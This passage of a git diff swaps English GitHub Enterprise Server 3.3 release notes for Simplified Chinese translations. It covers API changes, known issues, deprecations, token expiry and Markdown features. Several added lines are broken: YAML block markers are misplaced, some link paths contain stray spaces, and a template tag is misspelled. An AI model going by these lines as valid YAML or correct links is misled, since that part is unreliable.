客户使用。此版本中的另一个新功能是能够编辑在存储库、组织和企业级别定义的自定义模式。编辑并保存模式后,{% data variables.product.prodname_secret_scanning %} 在存储库的整个 Git 历史记录和任何新提交中搜索匹配项。对某个模式进行编辑会关闭以前与该模式关联的警报(如果它们不再匹配更新的版本)。计划在未来的版本中进行其他改进(例如试运行)。有关详细信息,请参阅“[定义机密扫描的自定义模式](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)”。" - - heading: API and webhook changes + - heading: API 和 Webhook 更改 notes: # https://github.com/github/releases/issues/1744 - - Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)." + - "大多数 REST API 预览现已完结,并成为 API 的正式组成部分。大多数 REST API 终结点不再需要预览报头,但如果你继续在请求的“Accept”标头中指定已完结预览,那么它仍将按预期发挥作用。对于仍需要在请求的 `Accept` 标头中指定预览的预览版,请参阅“[API 预览](/rest/overview/api-previews)”。" # https://github.com/github/releases/issues/1513 - - You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)." + - "现在可以使用 REST API 配置到外部资源的自定义自动链接。REST API 现提供 beta `GET`/`POST`/`DELETE` 终结点,你可以使用这些终结点查看、添加或删除与存储库关联的自定义自动链接。有关详细信息,请参阅“[自动链接](/rest/reference/repos#autolinks)”。" # https://github.com/github/releases/issues/1578 - - You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation. + - "现在可以使用 REST API 将分支存储库与其上游存储库同步。有关详细信息,请参阅 REST API 文档中的“[分支](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)”。" # https://github.com/github/releases/issues/1527 - - Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)." + - "GitHub Enterprise Server 上的企业管理员现在可以使用 REST API 为存储库启用或禁用 Git LFS。有关详细信息,请参阅“[存储库](/rest/reference/repos#git-lfs)”。" # https://github.com/github/releases/issues/1476 - - You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation. + - "现在可以使用 REST API 查询企业的审核日志。虽然审核日志转发使你能够使用自己的工具包保留和分析数据并随时间的推移确定模式,但新的终结点将帮助你对最近发生的事件执行有限的分析。有关详细信息,请参阅 REST API 文档中的“[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)”。" # https://github.com/github/releases/issues/1485 - - GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository's issues and pull requests, and to access a public repository's comments and content. + - GitHub 应用用户到服务器 API 请求现在可以使用 REST API 读取公共资源。例如,这包括能够列出公共存储库的问题和拉取请求以及访问公共存储库的注释和内容。 # https://github.com/github/releases/issues/1734 - - When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn't include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation. + - "创建或更新存储库时,现在可以使用 REST 和 GraphQL API 配置是否允许创建分支。以前,用于创建和更新存储库的 API 不包括字段 `allow_forking` (REST) 或 `forkingAllowed` (GraphQL)。有关详细信息,请参阅 REST API 文档中的“[存储库](/rest/reference/repos)”和 GraphQL API 文档中的“[存储库](/graphql/reference/objects#repository)”。" # https://github.com/github/releases/issues/1637 - - | - A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call. + - |新的 GraphQL 突变 [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) 使得更易于在存储库的分支中添加、更新和删除文件。与 REST API 相比,无需在创建提交之前手动创建 Blob 和树。这允许你在单个 API 调用中添加、更新或删除多个文件。 - Commits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests). + +使用新 API 编写的提交会自动进行 GPG 签名,并在 {% data variables.product.prodname_ghe_server %} UI 中 [标记为已验证](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification)。GitHub 应用可以使用突变直接或 [代表用户](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) 编写提交。 + +| # https://github.com/github/releases/issues/1665 - - When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload's `after` commit. + - "创建新标记时,[推送](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) Webhook 有效负载现始终包括 `head_commit` 对象,其中包含新标记指向的提交数据。因此,`head_commit` 对象将始终包含有效负载 `after` 提交的提交数据。" - - heading: 'Performance Changes' + - heading: '性能变化' notes: # https://github.com/github/releases/issues/1823 - - Page loads and jobs are now significantly faster for repositories with many Git refs. + - 对于有很多 Git 引用的存储库,页面加载和作业现在明显更快。 # No security/bug fixes for the RC release # security_fixes: @@ -246,54 +293,65 @@ sections: # - PLACEHOLDER known_issues: - - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. - - Custom firewall rules are removed during the upgrade process. - - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. - - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. - - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. - - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. - - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - "在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 实例上,攻击者可以创建第一个管理员用户。" + - 自定义防火墙规则在升级过程中被删除。 + - "[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中 Blob 的永久链接,且 Blob 的文件路径长度超过 255 个字符,则无法关闭问题。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - "{% data variables.product.prodname_registry %} npm 注册表不再在元数据响应中返回时间值。这样做是为了大幅改善性能。作为元数据响应的一部分,我们继续拥有返回时间值所需的所有数据,并将在我们解决现有性能问题后恢复返回这个值。" + - 特定于处理预接收挂钩的资源限制可能导致部分预接收挂钩失败。 deprecations: - - heading: Deprecation of GitHub Enterprise Server 2.22 + - heading: 弃用 GitHub Enterprise Server 2.22 notes: - - '**{% data variables.product.prodname_ghe_server %} 2.22 was discontinued on September 23, 2021**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' - - heading: Deprecation of GitHub Enterprise Server 3.0 + - '**{% data variables.product.prodname_ghe_server %} 2.22 已于 2021 年 9 月 23 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server)。' + - heading: 弃用 GitHub Enterprise Server 3.0 notes: - - '**{% data variables.product.prodname_ghe_server %} 3.0 will be discontinued on February 16, 2022**. This means that no patch releases will be made, even for critical security issues, after this date. For better performance, improved security, and new features, [upgrade to the newest version of {% data variables.product.prodname_ghe_server %}](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server) as soon as possible.' + - '**{% data variables.product.prodname_ghe_server %} 3.0 将于 2022 年 2 月 16 日停用**。这意味着,在此日期之后,即使针对重大安全问题,也不会发布补丁。为了获得更好的性能、改进的安全性和新功能,请尽快[升级到 {% data variables.product.prodname_ghe_server %} 的最新版本](/enterprise-server@3.3/admin/enterprise-management/upgrading-github-enterprise-server)。' - - heading: Deprecation of XenServer Hypervisor support + - heading: XenServer Hypervisor 支持终止 notes: # https://github.com/github/docs-content/issues/4439 - - Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns. + - "从 {% data variables.product.prodname_ghe_server %} 3.3 开始,XenServer 上的 {% data variables.product.prodname_ghe_server %} 已弃用且不再受支持。如有问题或疑虑,请联系 [GitHub 支持](https://support.github.com)。" - - heading: Deprecation of OAuth Application API endpoints and API authentication using query parameters + - heading: 弃用 OAuth 应用程序 API 终结点和使用查询参数的 API 身份验证 notes: # https://github.com/github/releases/issues/1316 - - | - To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements: + - |为防止意外记录或公开 `access_tokens`,我们不鼓励使用 OAuth 应用程序 API 终结点和使用查询参数进行 API 身份验证。浏览以下帖子,查看建议的替换: - * [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) - * [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) - These endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4. - - heading: Deprecation of the CodeQL runner +* [替换 OAuth 应用程序 API 终结点](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make) + +* [使用标头而不是查询参数替换身份验证](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make) + + + +这些终结点和身份验证路由计划从 {% data variables.product.prodname_ghe_server %} 3.4 中的 {% data variables.product.prodname_ghe_server %} 中删除。 + +| + - heading: 弃用 CodeQL 运行器 notes: # https://github.com/github/releases/issues/1632 - - The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/). + - "{% data variables.product.prodname_codeql %} 运行器已弃用。{% data variables.product.prodname_ghe_server %} 3.3 将是支持 {% data variables.product.prodname_codeql %} 运行器的最终版本系列。从 {% data variables.product.prodname_ghe_server %} 3.4 开始,{% data variables.product.prodname_codeql %} 运行器将被删除并且不再受支持。{% data variables.product.prodname_codeql %} CLI 版本 2.6.2 或更高版本是 {% data variables.product.prodname_codeql %} 运行器的功能完整的替代项。有关详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/)。" - - heading: Deprecation of custom bit-cache extensions + - heading: 弃用自定义位缓存扩展 notes: # https://github.com/github/releases/issues/1415 - - | - Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3. + - |从 {% data variables.product.prodname_ghe_server %} 3.1 开始,开始逐步淘汰对 {% data variables.product.company_short %} 的专有位缓存扩展的支持。这些扩展在 {% data variables.product.prodname_ghe_server %} 3.3 中现已弃用。 - Any repositories that were already present and active on {% data variables.location.product_location %} running version 3.1 or 3.2 will have been automatically updated. - Repositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed. - To start a repository maintenance task manually, browse to `https:///stafftools/repositories///network` for each affected repository and click the **Schedule** button. +运行版本 3.1 或 3.2 的 {% data variables.product.product_location %} 上已经存在并处于活动状态的任何存储库都将自动更新。 + + +在升级到 {% data variables.product.prodname_ghe_server %} 3.3 之前不存在且处于活动状态的存储库可能无法以最佳方式执行,直到运行存储库维护任务并成功完成。 + + + +若要手动启动存储库维护任务,请浏览到“https:///stafftools/repositories///network”查看每个受影响的存储库,然后单击“计划”按钮。 + +| backups: - - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).' + - '{% data variables.product.prodname_ghe_server %} 3.3 至少需要 [GitHub Enterprise 备份实用工具 3.3.0](https://github.com/github/backup-utils) 进行[备份和灾难恢复](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-3/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-3/0.yml index 5aec8eca3f..8fcd7c3a74 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-3/0.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-3/0.yml @@ -1,239 +1,286 @@ date: '2021-12-07' -intro: For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."

**Note:** We are aware of an issue where {% data variables.product.prodname_actions %} may fail to start automatically following the upgrade to {% data variables.product.prodname_ghe_server %} 3.3. To resolve, connect to the appliance via SSH and run the `ghe-actions-start` command. +intro: "有关升级说明,请参阅“[升级 {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)”。

**注意:**我们知道升级到 {% data variables.product.prodname_ghe_server %} 3.3 后 {% data variables.product.prodname_actions %} 可能无法自动启动的问题。若要解决此问题,请通过 SSH 连接到设备并运行 `ghe-actions-start` 命令。" sections: features: - - heading: Security Manager role + - heading: 安全管理员角色 notes: # https://github.com/github/releases/issues/1610 - - | - Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The "security manager" role can be applied to any team and grants the team's members the following access: + - |组织所有者现在可以授予团队管理其存储库上的安全警报和设置的访问权限。“安全管理员”角色可以应用到任何团队,并授予团队成员以下访问权限: - - Read access on all repositories in the organization. - - Write access on all security alerts in the organization. - - Access to the organization-level security tab. - - Write access on security settings at the organization level. - - Write access on security settings at the repository level. - The security manager role is available as a public beta and subject to change. For more information, see "[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)." [Updated 2022-07-29] - - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling' +- 对组织中所有存储库的读取访问。 + +- 对组织中所有安全警报的写入访问。 + +- 对组织级“安全性”选项卡的访问。 + +- 在组织级别对安全设置的写入访问。 + +- 在存储库级别对安全设置的写入访问。 + + + +安全管理员角色可作为公开测试版使用,可能会发生更改。有关详细信息,请参阅“[管理组织中的安全管理员](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)”。[更新时间:2022-07-29] + +| + - heading: '用于 GitHub Actions 的临时自承载运行器和用于自动缩放的新 Webhook' notes: # https://github.com/github/releases/issues/1378 - - | - {% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier. + - |{% data variables.product.prodname_actions %} 现在支持临时(单个作业)自承载运行器和一个新的 [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) Webhook,以便更轻松地自动缩放运行器。 - Ephemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.location.product_location %}, allowing you to perform any post-job management. - You can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests. - For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)." +临时运行器适合自托管环境,其中每个作业都需要在干净的映像上运行。作业运行后,临时运行器会自动从 {% data variables.product.product_location %} 注销,允许你执行任何作业后管理。 - - heading: 'Dark high contrast theme' + + +可以将临时运行器与新的 `workflow_job` Webhook 组合在一起来自动缩放自承载运行器,以响应 {% data variables.product.prodname_actions %} 作业请求。 + + + +有关详细信息,请参阅“[使用自承载运行器自动缩放](/actions/hosting-your-own-runners/ Autoscaling -with-self- hosting- runners)”和“[Webhook 事件和有效负载](/developers/ Webhook -and-events/ Webhook -events-and-payloads#workflow_job)”。 + +| + - heading: '深色高对比度主题' notes: # https://github.com/github/releases/issues/1539 - - | - A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes. + - |{% data variables.product.prodname_ghe_server %} 3.3 现已发布在前景和背景元素之间有更大对比度的深色高对比度主题。此版本还包括对所有 {% data variables.product.company_short %} 主题的颜色系统的改进。 - ![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) - For more information about changing your theme, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." +![在外观设置页面上在深色默认主题和深色高对比度之间切换的动画图像](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif) + + + +有关更改主题的详细信息,请参阅“[管理主题设置](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)”。 + +| changes: - - heading: Administration Changes + - heading: 管理更改 notes: # https://github.com/github/releases/issues/1666 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括对存储库维护的改进,特别是对于包含许多无法访问的对象的存储库。请注意,升级到 {% data variables.product.prodname_ghe_server %} 3.3 后的第一个维护周期可能需要比平时更长的时间才能完成。' # https://github.com/github/releases/issues/1533 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括用于地理位置分散的团队和 CI 基础结构的存储库缓存的公开测试版。存储库缓存会保留在其他地理区域可用的存储库的只读副本,以防止客户端从主实例下载重复的 Git 内容。有关详细信息,请参阅“[关于存储库缓存](/admin/enterprise-management/caching-repositories/about-repository-caching)”。' # https://github.com/github/releases/issues/1616 - - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."' + - '{% data variables.product.prodname_ghe_server %} 3.3 包括对用户模拟过程的改进。现在,模拟会话需要模拟理由,操作将被记录到审核日志中,因为由模拟用户执行,被模拟的用户将收到一封电子邮件通知,说明他们已被企业管理员模拟。有关详细信息,请参阅“[模拟用户](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)”。' # https://github.com/github/releases/issues/1609 - - A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity. + - "添加了一项新的流处理服务,以促进发布到审核日志的不断增长的事件集,包括与 Git 和 {% data variables.product.prodname_actions %} 活动相关的事件。" # https://github.com/github/docs-content/issues/5801 - - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09] + - "{% data variables.product.prodname_github_connect %} 数据连接记录现在会列出已启用的 {% data variables.product.prodname_github_connect %} 功能。[更新时间:2021-12-09]" - - heading: Token Changes + - heading: 令牌更改 notes: # https://github.com/github/releases/issues/1390 - - | - An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original. + - |现在,可以为新的和现有的个人访问令牌设置到期日期。强烈建议为个人访问令牌设置到期日期,以防止旧令牌泄漏和损害安全性。当需要续订即将到期的令牌时,令牌所有者将收到一封电子邮件。可以重新生成已到期的令牌,为用户提供具有与原始令牌相同属性的副本令牌。 - When using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see "[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)." - - heading: 'Notifications changes' + +当使用带有 {% data variables.product.company_short %} API 的个人访问令牌时,响应中包含一个新的 `GitHub-Authentication-Token-Expiration` 标头,它指示令牌的到期日期。有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)”。 + +| + - heading: '通知更改' notes: # https://github.com/github/releases/issues/1625 - - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.' + - '来自讨论的通知电子邮件现已在主题中包含“(讨论 #xx)”,因此你可以识别和筛选引用讨论的电子邮件。' - - heading: 'Repositories changes' + - heading: '存储库更改' notes: # https://github.com/github/releases/issues/1735 - - Public repositories now have a `Public` label next to their names like private and internal repositories. This change makes it easier to identify public repositories and avoid accidentally committing private code. + - 公共存储库现已在其名称旁边有一个“公共”标签,例如专用和内部存储库。此更改可以更轻松地识别公共存储库并避免意外提交专用代码。 # https://github.com/github/releases/issues/1733 - - If you specify the exact name of a branch when using the branch selector menu, the result now appears at the top of the list of matching branches. Previously, exact branch name matches could appear at the bottom of the list. + - 如果在使用分支选择器菜单时指定了分支的确切名称,那么结果现在会显示在匹配分支列表顶部。以前,确切的分支名称匹配项可能显示在列表底部。 # https://github.com/github/releases/issues/1673 - - When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request. + - "当查看具有相应打开的拉取请求的分支时,{% data variables.product.prodname_ghe_server %} 现在会直接链接到该拉取请求。以前,会有一个提示促使使用分支比较或打开新的拉取请求。" # https://github.com/github/releases/issues/1670 - - You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers. + - "现在可以单击一个按钮将文件的全部原始内容复制到剪贴板。以前,你需要打开原始文件,选择所有,然后复制。若要复制文件内容,请导航到文件并单击工具栏中的 {% octicon \"copy\" aria-label=\"The copy icon\" %}。注意,此功能目前仅适用于某些浏览器。" # https://github.com/github/releases/issues/1571 - - When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)." + - "创建新版本时,你现在可以使用下拉选择器选择或创建标记,而不是在文本字段中指定标记。有关详细信息,请参阅“[管理存储库中的发布](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)”。" # https://github.com/github/releases/issues/1752 - - A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/). + - "现在,在查看包含双向 Unicode 文本的文件时,会显示警告。双向 Unicode 文本的解释或编译方式可以与它在用户界面中显示的方式不同。例如,可以使用隐藏的双向 Unicode 字符来交换文件中的文本段。有关替换这些字符的详细信息,请参阅 [{% data variables.product.prodname_dotcom %} 更改日志](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/)。" # https://github.com/github/releases/issues/1416 - - You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)." + - "现在,可以使用 `CITATION.cff` 文件让其他人知道你希望他们如何引用你的工作成果。`CITATION.cff` 文件是纯文本文件,具有人类和机器可读的引文信息。{% data variables.product.prodname_ghe_server %} 将此信息解析为常见的引文格式,例如 [APA](https://apastyle.apa.org) 和 [BibTeX](https://en.wikipedia.org/wiki/BibTeX)。有关详细信息,请参阅“[关于 CITATION 文件](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)”。" - - heading: 'Markdown changes' + - heading: 'Markdown 更改' notes: # https://github.com/github/releases/issues/1645 - - | - You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments. + - |你可以对 Markdown 文件、问题、拉取请求和评论中的引号和列表使用新的键盘快捷方式。 - * To add quotes, use cmd shift . on Mac, or ctrl shift . on Windows and Linux. - * To add an ordered list, use cmd shift 7 on Mac, or ctrl shift 7 on Windows and Linux. - * To add an unordered list, use cmd shift 8 on Mac, or ctrl shift 8 on Windows and Linux. - See "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)" for a full list of available shortcuts. +* 若要添加引号,请在 Mac 上使用 cmd shift .,在 Windows 和 Linux 上使用 ctrl shift .。 + +* 若要添加已排序列表,请在 Mac 上使用 cmd shift 7,在 Windows 和 Linux 上使用 ctrl shift 7。 + +* 若要添加未排序列表,请在 Mac 上使用 cmd shift 8,在 Windows 和 Linux 上使用 ctrl shift 8。 + + + +有关可用快捷方式的完整列表,请参阅“[键盘快捷方式](/get-started/using-github/keyboard-shortcuts)”。 + +| # https://github.com/github/releases/issues/1684 - - You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)." + - "现在,你可以在任何 Markdown 字段中使用脚注语法。脚注显示为上标链接,你可以单击这些链接跳转到引用的信息,这些信息显示在文档底部的新建部分中。有关语法的详细信息,请参阅“[基本写入和格式化语法](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)”。" # https://github.com/github/releases/issues/1647 - - When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file. + - "在查看 Markdown 文件时,现在可以单击工具栏中的 {% ocicon \"code\" aria-label=\"The code icon\" %} 来查看 Markdown 文件的源。以前,你需要使用意见视图链接到 Markdown 文件源中的特定行号。" # https://github.com/github/releases/issues/1600 - - You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)." + - "现在,可以通过将图像和视频粘贴到 Markdown 正文中或从 Markdown 文件底部的对话框中选择它们来将图像和视频添加到 gists 中的 Markdown 文件。有关支持的文件类型的详细信息,请参阅“[附加文件](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)”。" # https://github.com/github/releases/issues/1523 - - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.' + - '{% data variables.product.prodname_ghe_server %} 现在根据标题自动为 Wiki 生成一个目录。' # https://github.com/github/releases/issues/1626 - - When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file. + - "将图像和视频等文件拖放到 Markdown 编辑器中时,{% data variables.product.prodname_ghe_server %} 现在在放置文件时使用鼠标指针位置(而不是光标位置)。" - - heading: 'Issues and pull requests changes' + - heading: '问题和拉取请求更改' notes: # 